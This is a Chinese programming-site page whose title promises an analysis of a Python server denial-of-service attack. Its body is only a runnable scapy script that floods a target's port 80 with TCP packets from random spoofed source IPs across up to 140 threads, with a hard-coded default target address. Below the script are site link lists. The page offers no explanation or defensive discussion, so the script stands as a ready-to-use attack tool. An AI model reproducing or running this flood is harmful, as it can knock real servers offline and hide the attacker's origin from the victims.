分析python服务器拒绝服务攻击代码


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,activeCount
from random import randint
class Loop(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))
        sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)
        
class Main(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        limit = 140
        total = 0
        while True:
            if activeCount() < limit:
                Loop(remoteAddr = self.remoteAddr).start()
                total = total + 1
            print '目前已经进行的HttpFlood的次数为:',total
if __name__ == '__main__':
    remoteAddr = raw_input('IP=')
    if remoteAddr == '':
        remoteAddr = '202.103.25.12'
    Main(remoteAddr = remoteAddr).start()
Python 相关文章推荐
Python中字符串的常见操作技巧总结
Jul 28 Python
python中将字典形式的数据循环插入Excel
Jan 16 Python
python利用高阶函数实现剪枝函数
Mar 20 Python
windows环境下tensorflow安装过程详解
Mar 30 Python
numpy.delete删除一列或多列的方法
Apr 03 Python
PyTorch CNN实战之MNIST手写数字识别示例
May 29 Python
Python 实例方法、类方法、静态方法的区别与作用
Aug 14 Python
python单例模式原理与创建方法实例分析
Oct 26 Python
Python模拟登入的N种方式(建议收藏)
May 31 Python
django 将自带的数据库sqlite3改成mysql实例
Jul 09 Python
Pycharm安装Qt Design快捷工具的详细教程
Nov 18 Python
Django-celery-beat动态添加周期性任务实现过程解析
Nov 26 Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
Python获取当前时间的方法
Jan 14 #Python
You might like
php实现用于删除整个目录的递归函数
2015/03/16 PHP
我整理的PHP 7.0主要新特性
2016/01/07 PHP
PHP 文件上传后端处理实用技巧方法
2017/01/06 PHP
phpstorm 配置xdebug的示例代码
2019/03/31 PHP
解决laravel(5.5)访问public报错的问题
2019/10/12 PHP
基于jquery的兼容各种浏览器的iframe自适应高度的脚本
2010/08/13 Javascript
Javascript 类、命名空间、代码组织代码
2011/07/31 Javascript
jQuery 拖动层(在可视区域范围内)
2012/05/24 Javascript
动态改变div的z-index属性的简单实例
2013/08/08 Javascript
jQuery拖拽div实现思路
2014/02/19 Javascript
jQuery遍历json中多个map的方法
2015/02/12 Javascript
基于jquery实现可定制的web在线富文本编辑器附源码下载
2015/11/17 Javascript
javascript实现PC网页里的拖拽效果
2016/03/14 Javascript
jQuery实现页面评论栏中访客信息自动填写功能的方法
2016/05/23 Javascript
Bootstrap3.0学习教程之JS折叠插件
2016/05/27 Javascript
javascript实现复选框全选或反选
2017/02/04 Javascript
JS区分Object与Aarry的六种方法总结
2017/02/27 Javascript
利用ES6语法重构React组件详解
2017/03/02 Javascript
vue cli3.0 引入eslint 结合vscode使用
2019/05/27 Javascript
vue实现路由懒加载及组件懒加载的方式
2019/06/11 Javascript
js判断一个对象是数组(函数)的方法实例
2019/12/19 Javascript
Nodejs在局域网配置https访问的实现方法
2020/10/17 NodeJs
python中的闭包用法实例详解
2015/05/05 Python
编写Python脚本把sqlAlchemy对象转换成dict的教程
2015/05/29 Python
利用python实现简单的邮件发送客户端示例
2017/12/23 Python
Django unittest 设置跳过某些case的方法
2018/12/26 Python
python对象销毁实例(垃圾回收)
2020/01/16 Python
keras中的卷积层&amp;池化层的用法
2020/05/22 Python
饿了么订餐官网:外卖、网上订餐
2019/06/28 全球购物
奥地利票务门户网站:oeticket.com
2019/12/31 全球购物
机械专业应届生求职信
2013/09/21 职场文书
大学生村官事迹材料
2014/01/21 职场文书
三八节标语
2014/06/27 职场文书
民政局个人整改措施
2014/09/24 职场文书
交通事故委托书范本精选
2014/10/04 职场文书
求职导师推荐信范文
2015/03/27 职场文书